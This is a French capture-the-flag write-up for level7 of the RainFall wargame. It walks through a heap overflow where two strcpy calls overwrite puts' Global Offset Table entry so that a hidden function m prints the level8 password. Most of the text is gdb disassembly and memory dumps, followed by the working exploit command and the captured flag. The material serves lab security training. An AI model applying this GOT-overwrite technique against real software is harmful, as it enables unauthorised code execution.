Ce niveau est très similaire au niveau précédent, cette fois on peut voir que le binaire ouvre le fichier /home/user/level8/.pass
et récupère son contenu sans l'afficher.
Une fonction m
est présente mais pas utilisée, cette fonction affiche le contenu du fichier .pass
.
En examinant le code, on peut voir qu'il malloc
2 structures et copie les argv
1 et 2 dans le pointeur de la structure :
- Avec le premier
strcpy
, nous pouvons réecrire l'addresse du pointeur de la deuxième structure par celle de la fonctionputs
et copier à cette adresse celle de notre fonctionm
.objdump -R level7
nous apprend queputs
est à l'adresse08049928
dans la Global Offset Table.- L'allocation mémoire sur la heap est continue. On sait que le malloc d'une
struct level7
pèse 8 octets (un simpledisas main
depuisgdb
suffit pour le confirmer). - Le premier
strcpy
écrit dansstructOne->*buffer
; le second va écrire dansstructTwo->*buffer
. Le but de notre premier exploit est d'écraser le contenu destructTwo->buffer
pour modifier l'adresse où le contenu deargv[2]
sera copié. Il nous faudra 20 octets de remplissage avant d'écrire l'adresse deputs
dansstructTwo->buffer
. - Notre premier exploit sera donc la forme :
python -c 'print "B"*20 + "\x28\x99\x04\x08"'
.
- Avec le second
strcpy
, nous allons placer l'adresse de la fonctionm
, de façon à ce qu'au moment d'appellerputs
, ce soit en faitm
qui soit appellée et exécutée.- Avec
gdb
, on détermine l'adresse dem
:0x80484f4
. - Notre second exploit sera donc
python -c 'print "\xf4\x84\x04\x08"'
.
- Avec
level7@RainFall:~$ gdb level7
(gdb) info func
All defined functions:
Non-debugging symbols:
[...]
0x080484f4 m
0x08048521 main
[...]
(gdb) disas main
Dump of assembler code for function main:
[...]
0x08048531 <+16>: call 0x80483f0 <malloc@plt>
0x08048536 <+21>: mov %eax,0x1c(%esp)
0x0804853a <+25>: mov 0x1c(%esp),%eax
0x0804853e <+29>: movl $0x1,(%eax)
0x08048544 <+35>: movl $0x8,(%esp)
0x0804854b <+42>: call 0x80483f0 <malloc@plt>
0x08048550 <+47>: mov %eax,%edx
0x08048552 <+49>: mov 0x1c(%esp),%eax
0x08048556 <+53>: mov %edx,0x4(%eax)
0x08048559 <+56>: movl $0x8,(%esp)
0x08048560 <+63>: call 0x80483f0 <malloc@plt>
0x08048565 <+68>: mov %eax,0x18(%esp)
0x08048569 <+72>: mov 0x18(%esp),%eax
0x0804856d <+76>: movl $0x2,(%eax)
0x08048573 <+82>: movl $0x8,(%esp)
0x0804857a <+89>: call 0x80483f0 <malloc@plt>
[...]
0x080485a0 <+127>: call 0x80483e0 <strcpy@plt>
[...]
0x080485bd <+156>: call 0x80483e0 <strcpy@plt>
0x080485c2 <+161>: mov $0x80486e9,%edx
0x080485c7 <+166>: mov $0x80486eb,%eax
0x080485cc <+171>: mov %edx,0x4(%esp)
0x080485d0 <+175>: mov %eax,(%esp)
0x080485d3 <+178>: call 0x8048430 <fopen@plt>
0x080485d8 <+183>: mov %eax,0x8(%esp)
0x080485dc <+187>: movl $0x44,0x4(%esp)
0x080485e4 <+195>: movl $0x8049960,(%esp)
0x080485eb <+202>: call 0x80483c0 <fgets@plt>
0x080485f0 <+207>: movl $0x8048703,(%esp)
0x080485f7 <+214>: call 0x8048400 <puts@plt>
0x080485fc <+219>: mov $0x0,%eax
0x08048601 <+224>: leave
0x08048602 <+225>: ret
End of assembler dump.
(gdb) disas m
Dump of assembler code for function m:
0x080484f4 <+0>: push %ebp
0x080484f5 <+1>: mov %esp,%ebp
0x080484f7 <+3>: sub $0x18,%esp
0x080484fa <+6>: movl $0x0,(%esp)
0x08048501 <+13>: call 0x80483d0 <time@plt>
0x08048506 <+18>: mov $0x80486e0,%edx
0x0804850b <+23>: mov %eax,0x8(%esp)
0x0804850f <+27>: movl $0x8049960,0x4(%esp)
0x08048517 <+35>: mov %edx,(%esp)
0x0804851a <+38>: call 0x80483b0 <printf@plt>
0x0804851f <+43>: leave
0x08048520 <+44>: ret
End of assembler dump.
(gdb) x/s 0x80486eb
0x80486eb: "/home/user/level8/.pass"
(gdb) r BBBB AAAA
Starting program: /home/user/level7/level7 BBBB AAAA
Program received signal SIGSEGV, Segmentation fault.
0xb7e90ba7 in fgets () from /lib/i386-linux-gnu/libc.so.6
(gdb) info variables
All defined variables:
Non-debugging symbols:
[...]
0x08049908 _GLOBAL_OFFSET_TABLE_
[...]
(gdb) x/24a 0x08049908
0x8049908 <_GLOBAL_OFFSET_TABLE_>: 0x804983c <_DYNAMIC> 0xb7fff918 0xb7ff26a0 0x80483b6 <printf@plt+6>
0x8049918 <[email protected]>: 0xb7e90b70 <fgets> 0x80483d6 <time@plt+6> 0xb7eb8aa0 0xb7ea4e70 <malloc>
0x8049928 <[email protected]>: 0x8048406 <puts@plt+6> 0x8048416 <__gmon_start__@plt+6> 0xb7e453e0 <__libc_start_main> 0xb7e90e60 <fopen>
0x8049938 <data_start>: 0x0 0x0 0x0 0x0
[...]
0x8049968 <c+8>: 0x0 0x0 0x0 0x0
0x8049978 <c+24>: 0x0 0x0 0x0 0x0
0x8049988 <c+40>: 0x0 0x0 0x0 0x0
0x8049998 <c+56>: 0x0 0x0 0x0 0x0
0x80499a8 <c+72>: 0x0 0x0 0x0 0x0
[...]
0x8049ff8: 0x0 0x0 0x0 0x11
0x804a008: 0x1 0x804a018 0x0 0x11
0x804a018: 0x42424242 0x0 0x0 0x11
0x804a028: 0x2 0x804a038 0x0 0x11
0x804a038: 0x41414141 0x0 0x0 0x20fc1
0x804a048: 0xfbad240c 0x0 0x0 0x0
0x804a058: 0x0 0x0 0x0 0x0
0x804a068: 0x0 0x0 0x0 0x0
(gdb) quit
~ ./level7 `python -c 'print "B"*20+"\x28\x99\x04\x08"'` `python -c 'print "\xf4\x84\x04\x08"'`
5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9 - 1599750175